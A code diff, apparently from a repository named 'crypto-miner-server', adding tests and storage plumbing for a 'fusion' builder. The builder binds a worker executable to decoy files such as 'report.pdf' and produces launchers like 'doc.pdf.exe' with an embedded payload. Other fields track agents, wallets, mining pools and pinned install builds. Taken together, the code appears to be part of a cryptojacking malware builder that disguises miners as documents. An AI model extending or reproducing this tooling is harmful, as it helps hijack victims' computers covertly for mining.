`const mediaFileName = "FUSION_MEDIA_FILE"`: fmt.Sprintf(`const mediaFileName = %q`, mediaFileName),
|
||||
`"FUSION_RUN_ORDER"`: fmt.Sprintf("%q", order),
|
||||
`"FUSION_PAYLOAD_KIND"`: fmt.Sprintf("%q", payloadKind),
|
||||
`"FUSION_MEDIA_MODE"`: fmt.Sprintf("%q", mediaMode),
|
||||
`"FUSION_MEDIA_FILE"`: fmt.Sprintf("%q", mediaFileName),
|
||||
}
|
||||
for old, new := range repl {
|
||||
out = strings.Replace(out, old, new, 1)
|
||||
for old, newVal := range repl {
|
||||
out = strings.Replace(out, old, newVal, 1)
|
||||
}
|
||||
return []byte(out)
|
||||
}
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"os"
|
||||
"path/filepath"
|
||||
@@ -135,6 +136,47 @@ func TestPrepareFusionProjectMissingSource(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestPrepareFusionProjectSuccess(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
defer database.Close()
|
||||
|
||||
fusionDir, err := h.prepareFusionProject(t.TempDir(), "prep_first", "file", "paired", "report.pdf")
|
||||
if err != nil {
|
||||
t.Fatalf("prepareFusionProject: %v", err)
|
||||
}
|
||||
main, err := os.ReadFile(filepath.Join(fusionDir, "main.go"))
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
body := string(main)
|
||||
for _, want := range []string{`runOrder = "prep_first"`, `payloadKind = "file"`, `mediaFileName = "report.pdf"`} {
|
||||
if !strings.Contains(body, want) {
|
||||
t.Fatalf("patched main missing %q:\n%s", want, body)
|
||||
}
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(fusionDir, "go.mod")); err != nil {
|
||||
t.Fatalf("fusion go.mod not copied: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildFileFusionMissingWorker(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
defer database.Close()
|
||||
setFakeGoSuccess(t, h)
|
||||
|
||||
buildDir := t.TempDir()
|
||||
prep := filepath.Join(t.TempDir(), "report.pdf")
|
||||
if err := os.WriteFile(prep, []byte("%PDF"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
req := &BuildRequest{FusionMediaMode: "paired", FusionPayloadKind: "file"}
|
||||
win := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}
|
||||
_, err := h.buildFileFusion(context.Background(), buildDir, prep, filepath.Join(buildDir, "missing.exe"), req, win)
|
||||
if err == nil {
|
||||
t.Fatal("expected worker copy failure")
|
||||
}
|
||||
}
|
||||
|
||||
func TestPublishFusionDeliverable(t *testing.T) {
|
||||
root := t.TempDir()
|
||||
h := &Handler{projectRoot: root}
|
||||
|
||||
@@ -60,3 +60,99 @@ func TestBuildFusionFromRequestPaired(t *testing.T) {
|
||||
t.Fatal("expected launcher path")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildFileFusionPairedFakeGo(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
defer database.Close()
|
||||
setFakeGoSuccess(t, h)
|
||||
|
||||
buildDir := t.TempDir()
|
||||
worker := filepath.Join(buildDir, "worker.exe")
|
||||
if err := os.WriteFile(worker, []byte("w"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
prep := filepath.Join(t.TempDir(), "report.pdf")
|
||||
if err := os.WriteFile(prep, []byte("%PDF-1.4"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
req := &BuildRequest{
|
||||
TargetOS: "windows",
|
||||
FusionMediaMode: "paired",
|
||||
FusionPayloadKind: "file",
|
||||
FusionMediaBaseName: "report.pdf",
|
||||
}
|
||||
win := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}
|
||||
res, err := h.buildFileFusion(context.Background(), buildDir, prep, worker, req, win)
|
||||
if err != nil {
|
||||
t.Fatalf("buildFileFusion paired: %v", err)
|
||||
}
|
||||
if res == nil || res.LauncherPath == "" {
|
||||
t.Fatal("expected launcher path")
|
||||
}
|
||||
if _, err := os.Stat(res.LauncherPath); err != nil {
|
||||
t.Fatalf("launcher not created: %v", err)
|
||||
}
|
||||
if res.MediaName != "report.pdf" {
|
||||
t.Fatalf("media name: %q", res.MediaName)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildFileFusionEmbeddedFakeGo(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
defer database.Close()
|
||||
setFakeGoSuccess(t, h)
|
||||
|
||||
buildDir := t.TempDir()
|
||||
worker := filepath.Join(buildDir, "worker.bin")
|
||||
if err := os.WriteFile(worker, []byte("w"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
prep := filepath.Join(t.TempDir(), "clip.mkv")
|
||||
if err := os.WriteFile(prep, []byte("fake video"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
req := &BuildRequest{
|
||||
TargetOS: "linux",
|
||||
FusionMediaMode: "embedded",
|
||||
FusionPayloadKind: "file",
|
||||
}
|
||||
linux := BuildPlatform{GOOS: "linux", GOARCH: "amd64", Ext: ""}
|
||||
res, err := h.buildFileFusion(context.Background(), buildDir, prep, worker, req, linux)
|
||||
if err != nil {
|
||||
t.Fatalf("buildFileFusion embedded: %v", err)
|
||||
}
|
||||
payloadBin := filepath.Join(buildDir, "fusion", "assets", "payload.bin")
|
||||
st, err := os.Stat(payloadBin)
|
||||
if err != nil {
|
||||
t.Fatalf("embedded payload.bin missing: %v", err)
|
||||
}
|
||||
if st.Size() == 0 {
|
||||
t.Fatal("embedded mode should copy payload into assets")
|
||||
}
|
||||
if res.MediaName != "clip.mkv" {
|
||||
t.Fatalf("media name: %q", res.MediaName)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildFusionWrapperFakeGoSuccess(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
defer database.Close()
|
||||
setFakeGoSuccess(t, h)
|
||||
|
||||
buildDir := t.TempDir()
|
||||
worker := filepath.Join(buildDir, "worker.exe")
|
||||
if err := os.WriteFile(worker, []byte("w"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
prep := filepath.Join(t.TempDir(), "doc.pdf")
|
||||
if err := os.WriteFile(prep, []byte("%PDF"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
launcher, err := h.buildFusion(context.Background(), buildDir, prep, worker, "doc.pdf.exe", "parallel")
|
||||
if err != nil {
|
||||
t.Fatalf("buildFusion: %v", err)
|
||||
}
|
||||
if launcher == "" {
|
||||
t.Fatal("expected launcher path")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -125,6 +125,17 @@ type BuildArtifactFile struct {
|
||||
FilePath string `json:"file_path,omitempty"`
|
||||
}
|
||||
|
||||
func buildExtraFilesFromArtifacts(arts []BuildArtifactFile) []models.BuildExtraFile {
|
||||
if len(arts) == 0 {
|
||||
return nil
|
||||
}
|
||||
out := make([]models.BuildExtraFile, len(arts))
|
||||
for i, a := range arts {
|
||||
out[i] = models.BuildExtraFile{FileName: a.FileName, FilePath: a.FilePath}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
type Handler struct {
|
||||
db *db.Database
|
||||
dataDir string
|
||||
@@ -647,6 +658,7 @@ func (h *Handler) buildAgent(ctx context.Context, req *BuildRequest, prepPath st
|
||||
FilePath: absPath,
|
||||
FileName: finalName,
|
||||
DownloadURL: dlURL,
|
||||
ExtraFiles: buildExtraFilesFromArtifacts(extraArtifacts),
|
||||
Platform: recordPlatform,
|
||||
CreatedAt: time.Now(),
|
||||
PoolHost: req.PoolHost,
|
||||
|
||||
@@ -167,3 +167,30 @@ func TestShouldSignBuildNoRequestFlag(t *testing.T) {
|
||||
t.Fatal("SignBuild flag required")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildExtraFilesFromArtifacts(t *testing.T) {
|
||||
if got := buildExtraFilesFromArtifacts(nil); got != nil {
|
||||
t.Fatalf("nil input should return nil, got %+v", got)
|
||||
}
|
||||
if got := buildExtraFilesFromArtifacts([]BuildArtifactFile{}); got != nil {
|
||||
t.Fatalf("empty slice should return nil, got %+v", got)
|
||||
}
|
||||
arts := []BuildArtifactFile{
|
||||
{FileName: "readme.txt", FilePath: "/tmp/readme.txt"},
|
||||
{FileName: "runner.exe", FilePath: "/tmp/runner.exe"},
|
||||
}
|
||||
got := buildExtraFilesFromArtifacts(arts)
|
||||
if len(got) != 2 {
|
||||
t.Fatalf("expected 2 extras, got %d", len(got))
|
||||
}
|
||||
if got[0].FileName != "readme.txt" || got[0].FilePath != "/tmp/readme.txt" {
|
||||
t.Fatalf("first artifact: %+v", got[0])
|
||||
}
|
||||
}
|
||||
|
||||
func TestFusionUniversalStartShBareExtension(t *testing.T) {
|
||||
sh := fusionUniversalStartSh(".pdf")
|
||||
if !strings.Contains(sh, "-runner") {
|
||||
t.Fatalf("expected runner suffix in script: %q", sh)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -67,3 +67,52 @@ func setFakeGoFail(t *testing.T, h *Handler) {
|
||||
}
|
||||
h.goBinPath = p
|
||||
}
|
||||
|
||||
// setFakeGoSuccess points goBinPath at a script that writes the -o output and exits 0.
|
||||
func setFakeGoSuccess(t *testing.T, h *Handler) {
|
||||
t.Helper()
|
||||
dir := t.TempDir()
|
||||
if runtime.GOOS == "windows" {
|
||||
p := filepath.Join(dir, "go-ok.bat")
|
||||
script := "@echo off\r\nsetlocal EnableDelayedExpansion\r\nset \"OUT=\"\r\n" +
|
||||
":loop\r\nif \"%~1\"==\"\" goto done\r\nif /I \"%~1\"==\"-o\" (\r\n" +
|
||||
" set \"OUT=%~2\"\r\n shift\r\n shift\r\n goto loop\r\n)\r\n" +
|
||||
"shift\r\ngoto loop\r\n:done\r\n" +
|
||||
"if defined OUT (\r\n" +
|
||||
" for %%I in (\"!OUT!\") do if not exist \"%%~dpI\" mkdir \"%%~dpI\" 2>nul\r\n" +
|
||||
" echo fake>\"!OUT!\"\r\n" +
|
||||
")\r\nexit /b 0\r\n"
|
||||
if err := os.WriteFile(p, []byte(script), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
h.goBinPath = p
|
||||
return
|
||||
}
|
||||
p := filepath.Join(dir, "go-ok.sh")
|
||||
script := "#!/bin/sh\nOUT=\"\"\nwhile [ $# -gt 0 ]; do\n" +
|
||||
" if [ \"$1\" = \"-o\" ]; then OUT=\"$2\"; shift; fi\n shift\n" +
|
||||
"done\nif [ -n \"$OUT\" ]; then mkdir -p \"$(dirname \"$OUT\")\"; echo fake > \"$OUT\"; fi\nexit 0\n"
|
||||
if err := os.WriteFile(p, []byte(script), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
h.goBinPath = p
|
||||
}
|
||||
|
||||
// setFakeGoSleep points goBinPath at a script that blocks long enough to test cancellation.
|
||||
func setFakeGoSleep(t *testing.T, h *Handler) {
|
||||
t.Helper()
|
||||
dir := t.TempDir()
|
||||
if runtime.GOOS == "windows" {
|
||||
p := filepath.Join(dir, "go-sleep.bat")
|
||||
if err := os.WriteFile(p, []byte("@echo off\r\nping 127.0.0.1 -n 8 >nul\r\nexit /b 0\r\n"), 0644); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
h.goBinPath = p
|
||||
return
|
||||
}
|
||||
p := filepath.Join(dir, "go-sleep.sh")
|
||||
if err := os.WriteFile(p, []byte("#!/bin/sh\nsleep 8\nexit 0\n"), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
h.goBinPath = p
|
||||
}
|
||||
|
||||
@@ -61,6 +61,27 @@ func TestBuildCRUDAndList(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildExtraFilesRoundTrip(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
build := &models.BuildRecord{
|
||||
ID: "build-extra", WorkerName: "w", ServerURL: "u", Wallet: "w", CreatedAt: time.Now(),
|
||||
DownloadURL: "/api/v1/builds/build-extra/download",
|
||||
ExtraFiles: []models.BuildExtraFile{
|
||||
{FileName: "payload.enc", FilePath: "/data/payload.enc"},
|
||||
{FileName: "README.txt"},
|
||||
},
|
||||
}
|
||||
insertBuild(t, d, build)
|
||||
|
||||
got, err := d.GetBuild("build-extra")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(got.ExtraFiles) != 2 || got.ExtraFiles[0].FileName != "payload.enc" {
|
||||
t.Fatalf("extra_files mismatch: %+v", got.ExtraFiles)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetBuildNotFound(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
_, err := d.GetBuild("missing")
|
||||
|
||||
@@ -2,9 +2,11 @@ package db
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/models"
|
||||
@@ -115,6 +117,7 @@ func (d *Database) migrate() error {
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN bundle_size INTEGER NOT NULL DEFAULT 0`)
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_name TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN download_url TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN extra_files TEXT NOT NULL DEFAULT '[]'`)
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN pinned INTEGER NOT NULL DEFAULT 0`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN notes TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN tags TEXT NOT NULL DEFAULT '[]'`)
|
||||
@@ -252,25 +255,50 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash
|
||||
|
||||
// Build operations
|
||||
|
||||
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, platform, created_at, pool_host, pool_port, pool_tls, pool_pass, pinned`
|
||||
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, extra_files, platform, created_at, pool_host, pool_port, pool_tls, pool_pass, pinned`
|
||||
|
||||
func encodeBuildExtraFiles(files []models.BuildExtraFile) string {
|
||||
if len(files) == 0 {
|
||||
return "[]"
|
||||
}
|
||||
b, err := json.Marshal(files)
|
||||
if err != nil {
|
||||
return "[]"
|
||||
}
|
||||
return string(b)
|
||||
}
|
||||
|
||||
func decodeBuildExtraFiles(raw string) []models.BuildExtraFile {
|
||||
raw = strings.TrimSpace(raw)
|
||||
if raw == "" || raw == "[]" || raw == "null" {
|
||||
return nil
|
||||
}
|
||||
var files []models.BuildExtraFile
|
||||
if err := json.Unmarshal([]byte(raw), &files); err != nil {
|
||||
return nil
|
||||
}
|
||||
return files
|
||||
}
|
||||
|
||||
func scanBuild(row interface {
|
||||
Scan(...any) error
|
||||
}) (*models.BuildRecord, error) {
|
||||
b := &models.BuildRecord{}
|
||||
var pinnedInt int
|
||||
var extraFilesRaw string
|
||||
err := row.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.BundleSize,
|
||||
&b.FilePath, &b.FileName, &b.DownloadURL, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass, &pinnedInt)
|
||||
&b.FilePath, &b.FileName, &b.DownloadURL, &extraFilesRaw, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass, &pinnedInt)
|
||||
b.Pinned = pinnedInt == 1
|
||||
b.ExtraFiles = decodeBuildExtraFiles(extraFilesRaw)
|
||||
return b, err
|
||||
}
|
||||
|
||||
func (d *Database) InsertBuild(b *models.BuildRecord) error {
|
||||
_, err := d.Exec(`INSERT INTO builds
|
||||
(id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, platform, created_at, pool_host, pool_port, pool_tls, pool_pass)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||
(id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, file_name, download_url, extra_files, platform, created_at, pool_host, pool_port, pool_tls, pool_pass)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||
b.ID, b.WorkerName, b.ServerURL, b.Wallet, b.Threads, b.FileSize, b.BundleSize,
|
||||
b.FilePath, b.FileName, b.DownloadURL, b.Platform, b.CreatedAt,
|
||||
b.FilePath, b.FileName, b.DownloadURL, encodeBuildExtraFiles(b.ExtraFiles), b.Platform, b.CreatedAt,
|
||||
b.PoolHost, b.PoolPort, b.PoolTLS, b.PoolPass)
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
package maintenance
|
||||
|
||||
import (
|
||||
"context"
|
||||
"log"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
@@ -15,21 +17,47 @@ var retentionTickInterval = 6 * time.Hour
|
||||
// runRetentionFn is the work function invoked by StartRetentionJobs (overridable in tests).
|
||||
var runRetentionFn = runRetention
|
||||
|
||||
var (
|
||||
retentionMu sync.Mutex
|
||||
retentionCancel context.CancelFunc
|
||||
)
|
||||
|
||||
// StartRetentionJobs purges old stats and build artifacts on an interval.
|
||||
func StartRetentionJobs(database *db.Database, dataDir string, statsHours, buildDays int) {
|
||||
if statsHours <= 0 && buildDays <= 0 {
|
||||
return
|
||||
}
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
retentionMu.Lock()
|
||||
retentionCancel = cancel
|
||||
retentionMu.Unlock()
|
||||
|
||||
go func() {
|
||||
runRetentionFn(database, dataDir, statsHours, buildDays)
|
||||
ticker := time.NewTicker(retentionTickInterval)
|
||||
defer ticker.Stop()
|
||||
for range ticker.C {
|
||||
runRetentionFn(database, dataDir, statsHours, buildDays)
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return
|
||||
case <-ticker.C:
|
||||
runRetentionFn(database, dataDir, statsHours, buildDays)
|
||||
}
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// StopRetentionJobs stops the background retention loop started by StartRetentionJobs.
|
||||
func StopRetentionJobs() {
|
||||
retentionMu.Lock()
|
||||
cancel := retentionCancel
|
||||
retentionCancel = nil
|
||||
retentionMu.Unlock()
|
||||
if cancel != nil {
|
||||
cancel()
|
||||
}
|
||||
}
|
||||
|
||||
func runRetention(database *db.Database, dataDir string, statsHours, buildDays int) {
|
||||
if statsHours > 0 {
|
||||
cutoff := time.Now().Add(-time.Duration(statsHours) * time.Hour)
|
||||
|
||||
@@ -44,6 +44,7 @@ func seedHashrateSample(t *testing.T, d *db.Database, agentID string, ts time.Ti
|
||||
|
||||
func TestStartRetentionJobs_NoOpWhenDisabled(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
t.Cleanup(StopRetentionJobs)
|
||||
StartRetentionJobs(d, t.TempDir(), 0, 0)
|
||||
// Disabled config must not start a goroutine that mutates data.
|
||||
time.Sleep(20 * time.Millisecond)
|
||||
@@ -53,6 +54,7 @@ func TestStartRetentionJobs_RunsImmediately(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
seedHashrateSample(t, d, "a1", time.Now().Add(-48*time.Hour), 100)
|
||||
|
||||
t.Cleanup(StopRetentionJobs)
|
||||
StartRetentionJobs(d, t.TempDir(), 24, 0)
|
||||
deadline := time.Now().Add(2 * time.Second)
|
||||
for time.Now().Before(deadline) {
|
||||
@@ -81,8 +83,8 @@ func TestStartRetentionJobs_TickerInterval(t *testing.T) {
|
||||
runRetentionFn = noopRetention
|
||||
t.Cleanup(func() {
|
||||
retentionTickInterval = prev
|
||||
// StartRetentionJobs has no stop handle; leave a noop so the leaked goroutine is harmless.
|
||||
runRetentionFn = func(database *db.Database, dataDir string, statsHours, buildDays int) {}
|
||||
runRetentionFn = runRetention
|
||||
StopRetentionJobs()
|
||||
})
|
||||
|
||||
StartRetentionJobs(d, t.TempDir(), 1, 0)
|
||||
@@ -97,6 +99,42 @@ func TestStartRetentionJobs_TickerInterval(t *testing.T) {
|
||||
t.Fatalf("expected at least 2 retention passes (immediate + tick), got %d", passes)
|
||||
}
|
||||
|
||||
func TestStopRetentionJobs_StopsBackgroundLoop(t *testing.T) {
|
||||
prev := retentionTickInterval
|
||||
retentionTickInterval = 40 * time.Millisecond
|
||||
t.Cleanup(func() {
|
||||
retentionTickInterval = prev
|
||||
runRetentionFn = runRetention
|
||||
StopRetentionJobs()
|
||||
})
|
||||
|
||||
d := openTestDB(t)
|
||||
var passes int32
|
||||
runRetentionFn = func(database *db.Database, dataDir string, statsHours, buildDays int) {
|
||||
atomic.AddInt32(&passes, 1)
|
||||
}
|
||||
|
||||
StartRetentionJobs(d, t.TempDir(), 1, 0)
|
||||
|
||||
deadline := time.Now().Add(250 * time.Millisecond)
|
||||
for time.Now().Before(deadline) {
|
||||
if atomic.LoadInt32(&passes) >= 2 {
|
||||
break
|
||||
}
|
||||
time.Sleep(10 * time.Millisecond)
|
||||
}
|
||||
if atomic.LoadInt32(&passes) < 2 {
|
||||
t.Fatalf("expected at least 2 passes before stop, got %d", passes)
|
||||
}
|
||||
|
||||
before := atomic.LoadInt32(&passes)
|
||||
StopRetentionJobs()
|
||||
time.Sleep(120 * time.Millisecond)
|
||||
if got := atomic.LoadInt32(&passes); got != before {
|
||||
t.Fatalf("expected no retention passes after stop, before=%d after=%d", before, got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestRunRetention_PurgesHashrateSamples(t *testing.T) {
|
||||
d := openTestDB(t)
|
||||
seedHashrateSample(t, d, "a1", time.Now().Add(-48*time.Hour), 100)
|
||||
|
||||
@@ -121,18 +121,24 @@ type Job struct {
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
}
|
||||
|
||||
type BuildExtraFile struct {
|
||||
FileName string `json:"file_name"`
|
||||
FilePath string `json:"file_path,omitempty"`
|
||||
}
|
||||
|
||||
type BuildRecord struct {
|
||||
ID string `json:"id"`
|
||||
WorkerName string `json:"worker_name"`
|
||||
ServerURL string `json:"server_url"`
|
||||
Wallet string `json:"wallet"`
|
||||
Threads int `json:"threads"`
|
||||
FileSize int64 `json:"file_size"`
|
||||
BundleSize int64 `json:"bundle_size"`
|
||||
FilePath string `json:"file_path"`
|
||||
FileName string `json:"file_name"` // base filename for display
|
||||
DownloadURL string `json:"download_url"` // relative URL; client prepends server origin
|
||||
Platform string `json:"platform"` // "windows", "linux", "darwin", "universal"
|
||||
ID string `json:"id"`
|
||||
WorkerName string `json:"worker_name"`
|
||||
ServerURL string `json:"server_url"`
|
||||
Wallet string `json:"wallet"`
|
||||
Threads int `json:"threads"`
|
||||
FileSize int64 `json:"file_size"`
|
||||
BundleSize int64 `json:"bundle_size"`
|
||||
FilePath string `json:"file_path"`
|
||||
FileName string `json:"file_name"` // base filename for display
|
||||
DownloadURL string `json:"download_url"` // relative URL; client prepends server origin
|
||||
ExtraFiles []BuildExtraFile `json:"extra_files,omitempty"`
|
||||
Platform string `json:"platform"` // "windows", "linux", "darwin", "universal"
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
Pinned bool `json:"pinned"` // true = this build is served by /get and /install.*
|
||||
// Pool settings
|
||||
|
||||
@@ -153,6 +153,7 @@ func TestBuildRecordJSONRoundTrip(t *testing.T) {
|
||||
Threads: 4, FileSize: 1024, BundleSize: 2048,
|
||||
FilePath: "/data/build.exe", FileName: "build.exe",
|
||||
DownloadURL: "/api/v1/builds/build-1/download", Platform: "windows",
|
||||
ExtraFiles: []BuildExtraFile{{FileName: "README.txt"}},
|
||||
CreatedAt: time.Now().UTC(), Pinned: true,
|
||||
PoolHost: "pool.example.com", PoolPort: 3333, PoolTLS: true, PoolPass: "x",
|
||||
})
|
||||
|
||||
Reference in New Issue
Block a user